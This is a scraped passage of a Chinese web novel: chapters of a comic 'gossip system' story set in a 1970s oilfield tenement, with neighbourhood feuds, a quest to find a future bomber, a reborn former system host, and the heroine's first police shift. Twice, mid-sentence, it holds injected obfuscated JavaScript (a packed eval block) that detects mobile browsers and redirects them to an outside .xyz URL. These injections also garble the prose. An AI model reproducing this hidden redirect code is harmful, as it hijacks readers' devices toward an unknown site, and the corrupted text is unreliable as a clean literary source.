“就是,特务是那么好抓的嘛。”一旁的隋老太搭腔,她家住五楼,吴大锤家楼上,平常经常和刘老太、裘老太一帮人凑在一起说八卦的,是老太太八卦团的成员。这人平时跳得不高,实在是家里人有些拿不出手,不过此时倒是忍不住开口了,“金花啊,小楠还没对象吧?你看我家......” 姜满城立时打断隋老太的话:“隋家大妈,您今儿晚上喝酒了吧?怎么说胡话呢?刘大妈,快,扶隋家大妈回去吧,我们可不想和醉鬼说话。” 刘老太被打断话茬也不高兴呢,当她不知道隋老太想干嘛?! 呸,就老隋家那个孙子,不说也罢,不够丢人现眼的,一家子抠门德性,这是打算连媒人都不请,直接自己上门说亲啊,什么玩意儿。她高声道:“就是啊,好大的酒气。方阿婆,咱俩受受累,把隋大姐扶回去吧。” 方阿婆可想让姜楠当自家大孙子的备胎呢,怎么会让别人染指,她笑呵呵地附和:“不受累,邻里邻居的,帮点儿忙的有什么。隋大姐,您这大晚上的,是喝了多少啊,走,我和刘大姐扶你回去。” 隋老太叫嚣:“胡说,我根本没喝酒,怎么会醉?!我没醉,我......” 其他邻居呵呵呵,就是不搭腔,刘老太和方阿婆一左一右,驾着隋老太就走,嗖嗖的,根本不给她说话的机会。 姜满城翻个白眼儿,真是什么人都想来招惹他闺女,当他是摆设啊。见母女俩冲着他乐,姜满城的心情,立时又飞扬起来,他笑着说:“好了,打一套拳就回家吧,明儿小楠第一天上班,得好好休息。” 姜楠听话地收了动作,笑眯眯地随着爸妈回家。 身后,大爷大妈羡慕嫉妒恨的声音还在继续。 不过姜楠可不在乎。自古啊,只有英才才遭人嫉妒呢,这不正好说明她是个英才嘛,其实她心里偷着乐呢。 出了一身汗,姜楠先兑热水擦了擦身子。 你说洗澡?这年头,哪儿有热水器啊。想都不要想的好嘛。这年代洗澡得去澡堂子,不过这大热天的,在家擦擦就行,倒是省得去澡堂了。 姜楠很快地收拾好,穿好居家服,正披着毛巾擦小短发呢,不期然听到系统的声音,她睁大乌溜溜的眼睛,不可置信地又问了一遍。 “主线任务,啥时候有主线任务了?你不是吃瓜系统吗?这吃瓜还有主瓜和次瓜啊?” 【那什么,宿主。】系统支支吾吾,【主系统又看了一遍原文,发现书里有个坑没填,需要宿主填坑,而且也是救人救己啦,是做好事儿呢。】 姜楠努力呼气吸气,不让声音显得那么生气,她说:“那你说,是多大的坑,能被当成主线任务?” 【宿主您别生气,主线任务,就是找到十年后筒子楼爆炸案的主谋。】 “我的妈呀。”姜楠震惊地在屋里转圈圈,头发丝儿还滴水呢,也没在意。 这可急坏了姜满城和陈金花二人,陈金花性子急,一把抓住闺女的胳膊:“你这转悠啥?是不是系统出啥幺蛾子了?你瞧我,肯定是了,你这一天天的,也没其他地方去啊,有事儿你就说,你这乱转的,是要急死你妈啊。”。 姜楠也不瞒着,站定后张口就来:“妈,我就是太震惊了。我跟你说哦,刚才系统发布......” 她将刚才系统的话一五一十地告诉了父母,陈金花是个急性子,当即汗都下来了,就差跟闺女一起团团转了。 姜满城拉住媳妇儿的胳膊,神情十分的镇定,他说:“小楠,你问问系统,是这个筒子楼爆炸吗?死人了吗?” 姜满城的镇定多少起了些抚慰人心的作用,姜楠平复心情,问起了系统。 【是这个筒子楼。据书里记载,凶手是趁大家晚上睡觉的时候,引燃了炸药,造成全楼几乎所有住户死亡,仅二人重伤没死,这是当年油田乃至全国最大的案件。可惜作者没填坑,不知道凶手是谁。】 姜满城敲敲桌沿,脸色异常严肃,他正色道:“幸好,小楠当了警察,对以后查案子也有帮助。你再问详细点儿,案子具体发生在哪天,爆炸点在哪里?” 【案子发生在77年高考前夕,所以格外受关注。至于爆炸点,因为作者没写,所以我也不知道。】 姜满城起身去屋里,拿出一张白纸,开始将楼里所有住户罗列出来。爆炸案发生在晚上,很大概率是楼里的住户做的,不然不会大晚上还住在楼里。 姜楠和陈金花细数住户之间的矛盾,还别说,不想不知道,一看,这五层30户人家,还真是藏龙卧虎,家家都有点儿解不开的小疙瘩。不过戏最多的,还当属他们四楼这些卧龙凤雏了...... 【那个,宿主,还有一个消息,1.0男宿主因为吃到了惊天大瓜,被皇帝杀死,重生到了隔壁......】 伴随着系统这句石破天惊的话语的,是楼里的喧闹声。 “曹大妈,曹大妈,你孙子回来了。自己个儿回来的,抱着两个骨灰盒!” 姜楠瞬间明白,妈呀,1.0男宿主,就是曹老太父母双亡的孙子吧。 32. 1.0男宿主来了 要说这曹老太,委实是楼里最体面的老太太了。 当然,年纪也不小了,今年有五十七。前年,曹老太老伴儿去世,本来一个人在老家住着,这不是大儿子不放心,把老太太接来了楼里,之后就一直跟大儿子一家住着。去年因为家庭和睦,被评为三好家庭,还当选了楼长,日子是越过越顺心。 家里两个儿子,老大周元庆,是职工医院的医生,老婆黄毓秀是医院的药剂师,负责抓药的。一家子体体面面的文化人,生了两个儿子一个闺女。大儿子周知来二十一,前年就结婚搬出去了。二闺女周知顺也十九了,去年刚结婚,家里就剩下了小儿子周知道,今年刚十五,还在念高一呢。 也是前面两个孩子搬出去的搬出去,嫁人的嫁人,周元庆家里才住得开。不然呐,也不能接曹老太过来住。因为住得不拥挤,家里矛盾也少,算是楼里最和睦的一家子了。 小儿子周元丰早年当兵,驻守边防,在部队成了家。媳妇儿也是部队里的,两口子就一个儿子周知行。十几年里,小儿子一家也没回来几次。 谁曾想,啪叽一下子,来了这么个‘惊喜’。 “我记得你来的时候都1.2了,这十几年过去了,咋1.0宿主才重生?”姜楠捋了捋时间线,有些不明白。 【宿主,我们系统可是分布在很多不同的位面的。时间重叠交错的,在宿主看来是十几年,从另一个位面看,可能刚过去没多久呢。】 “好吧,我们去看看,他身上还有系统吗,你能接通他的脑电波不?”姜楠起身,准备去楼下看看。 【那什么,宿主。】系统声音发虚,【出于对原宿主的保护,系统不能随意读取其他系统宿主的信息,而且......】 它顿了顿,接着说,【1.0男宿主因为死得突然,主系统判定是原0278系统的错,决定补偿原宿主,让他重生。并且主系统发布任务,子系统一旦搜索到0278原宿主的信息,必须加以保护,让他这辈子活到自然死亡。】 姜楠内心嚎叫:“你是要累死我是吧?主线任务要做,还要保护一个臭男人,是嫌我活得太好了是吧?” 【嘿嘿,宿主别生气。主系统对你也是有补偿的,以后你的任务奖励加倍,而且男宿主他没有系统,只是个带着前世记忆重生的普通人,不过就是因为被系统绑定过,他能听到宿主和我的对话罢了,没啥,没啥的。】 姜楠:呵呵,呵呵呵。 “如果我没保护好他,有惩罚吗?” 【那个,就是剥离系统,剥夺宿主和父母的相关记忆,我会跟着男宿主重生,去另一个世界护着他,嘿嘿。】 姜楠脑子晕晕乎乎,她看着爸妈,觉得事情越来越玄幻了:“就是说,保护不了他,我们一家也得死?毕竟,没了记忆,我们很可能会死于爆炸。” 姜满城听说后,倒是镇定得很,他挥挥手,满不在乎地说:“先见见人,以后怎么样再说,人总不能被尿憋死,都别太忧心了。而且只要我们保证这个家伙这十年内不出事,不就行了?到时候凶手找到了,没了记忆又没事咯,不急,先出去看看。” 陈金花握紧闺女的手,三个人中,她知道的是最少的,乍然听到借尸还魂,心里那是惊涛骇浪啊,差点儿背过气去。不过她毕竟是接受了系统的人,很快调整状态,跟着出了门。 楼前空地上,曹老太已经哭晕过去两次,再次被叫醒,仍是泪流满面。 “我那苦命的幺儿啊。”因哭得太久,曹老太声音嘶哑,抱着骨灰,止不住地干嚎,“你怎么这么狠的心,你不孝啊。呜呜呜,白发人送黑发人,我曹春草的命怎么这么苦啊。” 周元庆戴着副眼镜,双眼也是红通通的,他和小弟虽然十几年不常见面,但毕竟从小一块儿长大,血浓于水,他这心里也是一时难以接受。他媳妇儿黄毓秀拉着小儿子的手,虽也面露痛苦,那伤心却不达眼底。想也知道,她嫁过来二十多年,拢共跟小弟一家没见过几次,感情不深,自然没那么难受。 四人对面,站着两位穿军装的青年汉子,不到三十的样子,神情坚毅,眼神却带着几分悲伤。安慰的话他们已经说过了,只是家属乍逢亲人离世,一时难以接受,他们也都理解。 两人前面,站着一位十八九岁的少年。这少年也穿着军装,身姿笔挺,看身高能有一米八八了吧,却并不如何消瘦,只是脸色苍白,让棱角分明的脸少了几分攻击力。狭长的双眼低垂着,不知道在想些什么,细看会发现,少年右眼眼角有一道细长的疤,像细簇的火苗儿,仿佛随时会燃烧一般。 【宿主,就是他。】 姜楠:“......” 她第一次为系统的智商忧愁:“小统啊,你这不是不打自招嘛,闭嘴吧你。” 同一时间,少年抬起头,直直望向姜楠,眼神中带着一抹打量。 “大娘,您节哀顺变。周同志遗嘱上说,想落叶归根,我们这才将他们夫妻的骨灰送了回来。”其中一位汉子上前鞠了一躬,再次开口,“另外,周同志的儿子周知行同志,同样在战场立了功,只是因为受伤,不再适合呆在部队,才给他办了转业,他会到附近的派出所任职。” 黄毓秀眼神儿闪了闪,身子明显放松许多,低下头擦眼泪。 而曹老太这才认出孙子,说实话,因为小儿子一家回来得少,她拢共就见过小孙子三次,实在是不熟。不过血缘就是这么奇怪的东西,一旦认准了,立刻就觉得亲近起来,曹老太抹了把脸,在大儿子的搀扶下,一步步来到少年面前,一把搂过,心疼道:“小行,你是小行啊。我苦命的孙儿啊。跟着奶,奶以后好好对你,我的孙儿啊。” 周知行被老太太搂进怀里,说实话,有些懵。他重生的时候,正是在火车上,原主‘周知行’伤心过度,被他钻了空子。因为被系统绑定过,他半点儿没慌,很快接收了原主的记忆。虽然原主没他上辈子出身显贵,但也算是受人尊敬了,看来上辈子死得冤,也是有好处的。 他上辈子是个纨绔,家里有世袭的爵位,富贵绵长,可惜,都跟他无关,谁让他是个不会袭爵的庶子呢。不过庶子也有机缘,稀里糊涂的,他被系统绑定了,意外吃了个京城勋贵的瓜,没成想,吃瓜还有钱拿,他可不就吃上了瘾,一发不可收拾,干脆以吃瓜为业。 他本来就是个自来熟儿,口条子顺溜,什么朋友都能结交。等京城数得上名号的勋贵以及官宦人家的瓜被他吃了个干净,他好死不死地瞄上了京城最大的地方——皇宫。 他去宫里当侍卫了!而且还是后宫,只怪当时太年轻啊。 火车上的周知行悔得肠子都青了,要知道他因为吃瓜吃得大,已经在京城买了一座五进的大宅院了,小日子过得不要太滋润。 不过再如何懊恼,来都来了。周知行颇会审时度势,如今没了系统,很快下定决心,重来一次,安安生生做人,本本分分做事,起码最近这一两年别折腾。 嗯,他周知行还是对自己很有数儿的,他也就能忍个一两年。 谁知,还没等他想好接下来如何,脑海里就传来一个女人和电子音交流的声音。那个电子音,他熟啊,在脑子里近二十年,可不一听就听出来了,这是吃瓜系统啊。而两人在说什么‘仙人跳’,他眼角不自觉跳了跳。 这,啊这,这个世界也有系统?他还能听到系统和其他宿主沟通的声音?! 周知行还来不及消化原主的悲伤,就感觉到了老天爷对他的厚爱,一个人默默承受了太多太多。 嘻嘻。 至于说刚开始站在楼下,他浑身冷肃,一副酷哥样儿,这不是,原主的长相太具有迷惑性,而周知行刚重生没多久,又不是胎穿,灵魂和身体磨合得还不是很好,硬生生被原主的长相压了气势嘛。 其实啊,嗐,他本质上就是个跟姜满城一样的碎嘴子啊。 碎嘴子周知行轻咳一声,学着原主说话的腔调,声音带着哽咽,他说:“奶奶,我终于见到您了,我亲爱的奶奶。呜呜,爸爸妈妈都想回家,我把他们送回来了。我终于见到亲人了!” ...... 人群安静了一瞬。 周知行反应过来,好像用力过猛,学错了人。 他听那个女人就是这么跟亲人说话的,不过好像有点儿不符合原主的人设。哎,都怪原主是当兵的,成年后和父母相处的时间不多。加上他上辈子也不常和亲人相处,根本不知道该怎么和亲人说话。 周知行眼皮儿跳了跳,想着怎么往回拉一拉,却听曹老太嗷一嗓子,又嚎上了:“孙儿啊,我的好孙儿啊。” 这曹老太,她也是个肉麻人儿啊,只是大儿子一家太正经,她一整年没地方发挥。如今小孙子一听就是同道中人,这悲伤啊,立马又逆流成河了。 姜楠嘴角抽了抽,总觉得对面少年的气质一下子变了。 姜满城则勾了勾嘴角,一副打量同类的神情,深深看了周知行几眼。他上前跟刚才说话的汉子握了握手,介绍道:“你好,我是楼里的住户,我叫姜满城。这是我闺女姜楠,她也是派出所民警,我想确认一下,周同志是要去我们第十作业处派出所吗?不知道任什么职位?” “对对,小楠也是警察,今儿还去办了入职呢。”林兵接茬道。 汉子松了口气,没继续打量姜满城,他说:“是的,周知行同志办完葬礼,就会去第十作业处派出所入职。具体担任什么职位,要看派出所那边的安排,我也不清楚。” 程改改脸红扑扑的,时不时瞄一眼周知行,她鼓了鼓脸蛋儿,有些紧张地说:“周......周知行同志,你......你别伤心,人死不能复生,你好好活着,才是对死者最大的安慰。”说完她忐忑地看着周知行,不知道他会和她说些什么。 她,她虽然可能要下乡,但如果嫁人,是不是就不用下乡了?而且周同志一看就年轻有为,她觉得她明白了什么叫一见钟情。 对,她对周同志一见钟情。 周知行接收到小姑娘的眼神,不用看就知道这丫头想干嘛。他轻轻推开曹老太,来到姜楠面前,伸出手,说道:“姜楠同志,你好,我叫周知行,今年十八岁,想来你也知道我,很高兴见到你,以后合作愉快。”说着冲姜楠眨眨眼。 【宿主,他是不是在勾引你?】 “你给我闭嘴。你怎么见了1.0男宿主后,智商就直线下降啊,小统,你不会是吃瓜吃傻了吧?” 两世为人的姜楠,还是第一次体会到老母亲对儿女,那恨铁不成钢的巨大忧愁啊。 周知行嘴角翘了翘,很快压下去,他狡挟地冲姜楠张张嘴,用气音道:“我听到了。” 姜满城气得胡子都歪了,哦,他没胡子,反正就是很生气。 这狗男人,当着他的面就调戏他闺女,不想活了啊。而且这个样子一看就不是啥正经人。越想越来气,他上下打量着这个不知天高地厚的臭小子。 这副样子,怎么感觉在哪里见过呢。 其实周知行也想再装一会儿,不这么快暴露的。毕竟高冷人设他还没试过呢,好不容易再来一次,还不得换个花样? 可是,可是,他不想跟小姑娘纠缠啊。他虽然英俊潇洒,人见人爱,善于交际,也不怵人多的场合,好奇心重,不然也不会为了吃瓜命都没了,可这并不是说他就喜欢和人交际,享受小姑娘爱慕的眼神儿吧。 咳咳,不享受,一点儿也不享受,他上辈子......上辈子差点儿因为这眼神儿送命了啊,再来一次,他一见这眼神,就知道,必须远离,妥妥的远离,半点儿希望都不能给的那种。 这边‘其乐融融’,眼神儿刺啦刺啦交汇,那边程改改失望地低下头。 她的爱情,无疾而终。 别看平日里大家吵嘴,这种时候还是很安静的。毕竟军人保家卫国,是很被大家尊重的。很多老人都是经历过旧社会,经历过战乱的,自然更知道如今的生活,都是军人浴血奋战换来的。大家摒弃前嫌,一个个劝着曹老太别太伤心,还要帮着曹家办理丧事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陈金花点头:“行,那我每天盯着点。” 姜满城:“我也盯着,这是咱们夫妻俩的事儿,怎么能让你一个人做呢。” 陈金花高兴:“我知道。” 她感慨:“要是小楠像我一样幸运,找到你这么好的男人就好了。咱小楠现在有工作了,以后找男人,肯定也是有工作的。可我看咱们楼里,没工作的男人都不做家务的,更别说那有工作的了。也就是我幸运,找到了你,可不知道小楠能不能像我一样了。” 姜满城摩挲着陈金花的后背:“肯定能的,那可是咱闺女,运气肯定好。再说,就算找不到,咱们养小楠一辈子,又不是养不起,这个不用愁。就算运气不好找到个差的,大不了咱们就换呗。三条腿的蛤蟆不好找,两条腿的男人满大街都是,多换几个,总能找到好的。” 陈金花有些无语:“哪能这样?这......这不是......” 姜满城噗嗤笑出来,不以为意道:“这怎么了,男人能找好几个,咱小楠怎么就不行了?如今妇女都解放了,这方面也得解放啊。” 他顿了下,呢喃道:“其实说起来,周知行也不是没优点的。他父母双亡,就没有婆婆磋磨儿媳妇,也算是一个加分项。” 夫妻两人在被窝里说些有的没的,隔壁屋的姜楠早呼呼大睡了。没办法,她可是明儿要上班的女人,得养元气呢。 方家,方阿婆在撺掇儿媳妇。 “巧莲啊,周家小子来了,你多往他们家走走。他手里可是握着双份抚恤金的。听那意思,他也立功了,手上钱肯定不少。他一个大小伙子,知道怎么花钱吗?肯定不知道啊。而且他一个大小伙子,肯定不会过日子,那钱早晚得嚯嚯光了。咱们这么做,也是在帮他,免得他手里的钱被人觊觎,再惹出祸事。你说是不是这个理儿?” 孙巧莲也琢磨呢。她刚开始做这个,虽然是被婆婆撺掇的,可后来不劳而获多了,也渐渐不想着努力了。这样不用受累就能挣到钱,她觉得还是很适合她的,毕竟她这么漂亮,这么挣钱可太轻松了。不过这次,她倒是有些不确定了,她说:“妈,周家小子才多大?不到二十吧?我都三十好几了,他怎么看得上我?” 方阿婆鼓励道:“怎么看不上?你忽悠林兵不是一忽悠一个准儿?你啊,魅力大着呢。这事儿你就听我的,只管上,没问题的。你也才三十三,长得又好,对付男人还不是手拿把掐?再说,都说当兵三年,母猪塞貂蝉。他一个在军营里长大的,见过什么女人。你这样儿的,都不用怎么出手,保准迷得他晕头转向。而且就算你俩不成,你也能当个知心大姐啥的,怎么都不吃亏的。” 孙巧莲对自己也是有信心的,闻言自是得意:“行,那我就多去关心关心他。” 婆媳俩在这里商量怎么拿下周知行,另一个把周知行当成肥肉的,就是隔壁的程家了。 程改改面临下乡,如今急需一个对象。虽然还不到十八,未成年,还不到登记结婚的年龄,可也得提前筹谋起来了。 刘老太特意去程改改的房间,跟孙女掰扯掰扯道理。只是程改改的屋子,是小房间隔出来的,床还不到一米宽,两个人躺不下,只能坐着说。 刘老太语重心长:“改改啊,你可得盯紧了,这周家小子是立功转业的,肯定有工作,你要是能跟他处对象,以后就不用下乡了。” 程改改脸有些红,她也动心啊,可...... “那个,他可能看上姜楠了,今儿一直跟姜楠说话呢。” 刘老太撇嘴,不屑道:“这个你不用担心,他看上有啥用?他可是无父无母的。姜满城和陈金花那俩疼闺女的,可看不上他。这事儿你听我的,过两天不是去吊唁嘛,你跟着一块儿去,咱们趁机多接触接触,你长得又不差,肯定行的。” 程改改心底又升腾起一丝信心。 是啊,姜叔叔和陈阿姨那么疼姜楠,应该看不上周知行的,那她不是还有机会? 33. 上班第一天 第一天上班的姜楠,是元气满满充满干劲儿的姜楠,是将主线任务和1.0男宿主忘得一干二净,满脑子都是要穿警服了的姜楠。 一路上,她车子骑得嗖嗖的,比兔子都快,简直是街上最青春活力的崽儿。还不到八点,就远远瞧见了刷着蓝漆的院墙,她放慢车速,到门口时,大长腿一迈下了车,热情地和每一个人打招呼。 “您好。我是姜楠,今天第一天上班,以后请多多指教。” “你好,多多指教。” 任谁,都无法对一个满脸笑容的活力少女,横眉冷对。姜楠快乐地来到车棚,将车子锁好,麻溜儿地进了更衣室,换上昨天熨烫得笔挺无比的警服,哼着歌儿,正步来到了派出所外勤办公室。 姜楠任职的派出所,是第十作业处油田派出所的一个分所。人不多,外勤加起来也才二十四,哦,如今应该是二十五人,再加上内勤以及食堂等工作人员,满打满算四十人。不过大家都行色匆匆,看起来还是很忙的。 姜楠被分到了外勤第六组,原本一共四个人,如今再加上姜楠,就是五个人了,是人数最多的组。组长姓关,叫关顺,是个三十岁左右的壮实汉子,他很高兴地跟姜楠握了手:“你好,我以后就叫你小楠吧,来,这是你的位置,以后你就在这里办公。” 姜楠见位置正好靠窗,高兴地从斜挎包里掏出一小盆仙人掌,喜滋滋地说:“正好,放到窗台上,下雨了也不用浇水,省事儿!” 她放好花盆儿,又从包里掏出一块儿抹布,将桌椅板凳仔仔细细擦了一遍。桌子是这个时代最普通的红漆办公桌,上面盖着块儿大玻璃的那种。 姜楠将玻璃擦得干干净净,拉过椅子,晃荡着腿儿感受了下,嘿嘿笑了两声。之后又掏出一个相框,摆在办公桌远离窗户的角落,看着全家福,嘴角微微翘起。 这办公桌上,哪能不放照片儿呢。她上辈子可是看遍英美、中日韩经典剧目的,这职场剧里,大领导办公桌上,必得有全家福照片儿啊,这可是成功人士必备。 关顺看姜楠跟个小仓鼠似的,从兜儿里掏啊掏,一会儿拿出来这个,一会儿掏出来那个,嘴角抽了抽。等外勤的人来得差不多了,他才再次起身,跟姜楠道:“小姜,来,我跟你介绍一下,这是你暂时的搭档老叶,叶森同志,” 叶森看起来年纪不轻了,有四十的样子,左腿绑着纱布,他伸出手,笑出一口白牙:“你好,小姜同志吧,我见过你。我这条腿,还是上次抓偷油贼的时候扭伤的呢。不过吧,得先跟你说下哈,我已经申请掉入内勤了,下个月就转岗。” 姜楠和叶森握了握手,有些疑惑地望向关顺。 关顺拍拍脑袋,嗐了一声:“瞧我这记性。小姜你放心,沈所长那边说了,最近会从部队上下来一个男同志,补叶森的差,以后你俩强强联合,肯定没问题的。” 姜楠突然有种不好的预感,她转向关顺,声音有些发飘:“那个,部队下来的男同志,是不是叫周知行?” “对,对,小姜你认识?太好了,我还担心你不开心呢。你看,派出所是很重视你的,周知行同志原来是在部队担任射击手的,只是他在战斗中受伤,不能再胜任射击手的工作,加上他又在部队失去了双亲,这才坚决要求转业的。” 关顺在心里擦了把汗,幸亏他多问了几句,不然被小丫头问住了,可不是显得他很粗心。 姜楠嘴角僵硬地笑了笑,一路飘着回了办公桌。 【宿主,您安啦,周知行武力值很高的,不会有事啦。而且他吃瓜经验丰富,说不定你俩还能合作呢。】 姜楠:呵呵,呵呵呵。 “你觉得,一个跟我爸那么像的人,会全心全意相信一个无亲无故的人吗?”姜楠问,“这么跟你说吧,小统,我要不是我爸的女儿,我爸都不带搭理我的。我要是上去套近乎,他说不得还会给我点儿教训,让我知难而退。” 【不会的,宿主,你还有我。你忘啦,他能听到我们说什么啊,他会相信你的。】 姜楠锤了锤桌,只觉得系统不是在安慰她,而是在火上浇油。这种不知道对方想什么,而对方却能知道你在想什么的人,真的有点儿可怕啊。 “关顺,带队去供销社,外面有人争吵,情绪都比较激动,你们过去好好劝着,千万别让人打起来。” 蓝青山从外面进来,招呼关顺道。见姜楠桌子都收拾好了,上前拍拍姜楠的肩膀:“小姜啊,好好干,咱们外勤目前就两个女同志,你还是很有竞争力的。” 姜楠立马站直了身子,响亮地回了句:“谢谢蓝所长。” “行了,快跟小关出任务吧。”蓝青山摆摆手。 关顺招呼队员,四人戴上帽子急匆匆小跑着出去。叶森因为腿受伤,这几天都不出外勤。 路上,关顺介绍了其他两位队员:“这个有点儿胖的叫温强,你叫他强子就行。旁边这个戴眼镜的叫邹立,不过大家都叫他小眼镜,你以后也这么叫就行。” 两人冲着姜楠嘿嘿笑了两声,温强吸了吸肚子,不满地嚷嚷:“关组,我这是正常体型,哪儿胖了。小姜,你可别听组长瞎说,我一点儿也不胖哈。” “不胖你缩什么肚子啊。”小眼镜邹立拆台,“这爹妈做厨子,就是亏不了嘴。小姜,你以后吃饭就跟着强子,他爸是咱们派出所食堂的大厨,她妈是负责打菜的,跟着他,不颠勺!” “哈哈哈。” 大家发出了然的笑声。 “少胡说。我是喝凉水都长肉!” “好了,别贫嘴了。”关顺开口道,“强子肉多,但是力气大,以后卖力气的活儿都找他。小眼镜是62年毕业的大学生,学过刑侦的,有什么不懂的都问他。对了,以后行动,至少得是两个人,不能单独行动,知道吗?” “知道了,关组长。对了,组长,咱们平时要到油井前线巡逻吗?我以前经常见有警察巡逻,开着挎斗摩托,可威风了。” “不用。”关顺见小姑娘不懂,解释道,“咱们分所是负责处理日常纠纷的,巡逻是总局的事儿,那边有专门的巡逻队,百十来号人呢。可能年底忙的时候咱们得帮帮忙,其他时候用不上咱们。不过年底咱们也忙得很,蓝所不一定愿意呢。” “这样啊,嘿嘿,我还想开挎斗摩托呢。”前世姜楠小时候还坐过呢,可是早就眼馋了。 “那谁不想,我也想呢。”温强插嘴,“放心,咱们派出所也有。” “总会开上的,对了,小楠,你现在刚入职,第一年就不给你安排值夜班的事儿了,不过明年可就得值夜班了。另外,周末有时候也是要值班的。咱们派出所有六个外勤小组,轮着来,一个月还轮不到一次,不用担心。” 姜楠拍胸脯:“好的呀,组长,我没问题的。” 关顺高兴:“好,年轻人就是不一样,朝气蓬勃的。” 姜楠咯咯咯地笑:“那年轻人,总要有年轻人的样子嘛。而且,组长你也不老啊,您这最多也就二十五六,跟我也是同龄人呢。” 来都来了,姜楠可是很会说服自己的。她现在就是十六岁,永远十六岁的花季少女。 任谁被说年轻,都会开心的,关顺此时就十分的高兴,他说:“真是会说话。我都二十九了,都能当你叔叔了,二十五的那是温强。” 姜楠继续无差别说好话:“啊,强子哥都二十五了啊?真是看不出来,我还以为刚二十呢。” 温强可不觉得姜楠在说客气话,他十分的乐观,说:“那是我长得富态,我爸说,人一胖就显小。你看那些老头儿老太太的,胖的看着就是比瘦的显年轻。” 一群人一路闲聊着,姜楠对小组的气氛还是很满意的。 四人说了一路,很快地到了供销社,远远看见一群人围着,中间传出争吵声。仔细听就发现,是老大妈和老大爷的叫骂声,十分激动的样子。姜楠清清嗓子,很上道儿地为大家开路:“让一让,让一让,警察来了。” 关顺赞赏地看了一眼姜楠,姜楠头昂得高高的,拍马屁嘛,她在行。 人群很快让出一条道儿,四人齐刷刷进去,姜楠睁大了眼睛,好嘛,又是她们楼上的。老吴头和刘老太吵成了乌眼鸡,程改改拉着刘老太的胳膊,低头擦眼泪。 见警察来了,刘老太腰杆儿直了,跳着脚儿地叫嚷:“你个不要脸的老吴头,一大早被放出来就犯贱。警察同志,快把他抓起来,这老家伙耍流氓,这么大年纪了,不要个比脸,不仅对我家孙女口花花,还摸我老婆子的屁股,快把他抓进去,蹲上十年八年,让他手贱!” 程改改抬头看了姜楠一眼,很快低下头继续擦眼泪。 老吴头见了警察,有些害怕,但他被带到派出所后,也就被问了几个稀奇古怪的问题,很快被放出来了,自然觉得自己没事儿,他不甘示弱地回嘴:“什么耍流氓,你也不撒泡尿照照,我会对你耍流氓?!大家伙说这可能嘛,我是眼睛瞎了,对一个老婆子耍流氓!我在这里排队,好心好意地让你们俩插队,我这做了好事儿还被人诬陷,我冤不冤啊我。” “呸,什么做好事儿,你那是成心想占便宜。”刘老太半步不让,上去就给了老吴头一个嘴巴子,“我让你胡说八道!我一个女同志,会无缘无故冤枉你?” 听到这里,姜楠赶忙打断刘老太的话,开口道:“刘奶奶,吴爷爷,你们别吵了。供销社的工作人员已经报警了,你们要是还在这里打架,影响人家办公,就跟我们去派出所录笔供,到时候我们是要通知你们子女的单位过来领人的。” 时下办公就是这样,公对公,很少有跟个人打交道的。就连大爷大妈犯了错,要是不依不饶,那也是找子女所在的单位,让子女和单位领导一起过来领人,顺便接受教育。 听到这里,两人倒是安静下来,只是仍仇视地瞪着对方,一看就是气儿还没顺,但怕影响子女工作,不敢在警察面前闹了而已。 两人看着姜楠,希望她能看在是邻居的面子上,宽容几分。姜楠别过眼,她第一天入职,可不会徇私,哼! 关顺又给姜楠加了一分,和邹立一起,带着姜楠去外围询问围观群众,温强则看着老吴头和刘老太两个当事人,省得两人情绪激动,再打起来。 关顺心里清楚,根本不用问,猜也猜到了,老头子占小姑娘便宜,人家奶奶不愿意闹开了,就这么回事儿。 至于刘老太口里的占她便宜的事儿,那是老太太不想影响孙女的名声,主动吵嚷开的。不然这种事儿传来传去,不知道最后会演变成什么样子,让一个小姑娘日后怎么做人。没见小姑娘脸都不敢抬,一直低头抹眼泪,一副吓怕了的样子嘛。 关顺低声教姜楠:“询问围观群众的时候,尽量说话像是拉家常,闲唠嗑知道吧?这样才能让大家放松警惕,把看到的听到的都说出来。你是女同志,这点就比我们男同志强,大家会觉得你没什么攻击性,能更好地深入群众。行了,去试试,这事儿不大,问清楚就行。” 姜楠嗯嗯嗯地点头,这都是老警察的经验之谈,她作为新人,还是很需要学习的:“组长你放心,保证完成任务。” 姜楠笑嘻嘻地来到人群里,虽然穿着警服,却极力做出一副拉家常的架势,她说:“大爷,这大早上的,供销社又来了啥好东西,这么多人排队?” 这老大爷就排在老吴头后面,本来还不想掺和,见问的是这个,也就没瞒着,他说:“苹果,供销社不知道从哪儿进的苹果,一个个又大又红,听说是什么红富士,从外国引进的,老稀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15472785|166133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罕了。这不,大家伙儿都来买呢。” “是吗,那您可等久了吧?身子骨儿受得了?”姜楠继续问。 “你这姑娘,大爷也才不到六十,身子骨儿好着呢。眼不瞎耳不聋的,有啥受不了的。”老大爷得意。 “这样啊,大爷,那刚才的事儿,您肯定看得一清二楚吧?”姜楠乐呵呵,“您这身体倍儿棒,眼不瞎耳不聋,啥能逃过您的眼睛,是吧?” 老大爷嘴角僵了僵,但话都说出去了,又被小姑娘戴了高帽儿,他硬着头皮继续开口:“那可不,我老福头的眼睛,那可是火眼金睛。小姑娘,我跟你说,那个老东西可不是啥好人。他在我前面排队,看见人家小姑娘去前面看苹果,就招呼小姑娘插队。小姑娘不是自己来的,去后面把她奶奶叫来。谁知道这老东西还不老实,嘴上不干不净地占人家小姑娘的便宜,还对小姑娘......” “啥小姑娘,你个老东西瞎说啥,他是对这个老大姐动手动脚,你可别瞎说。” 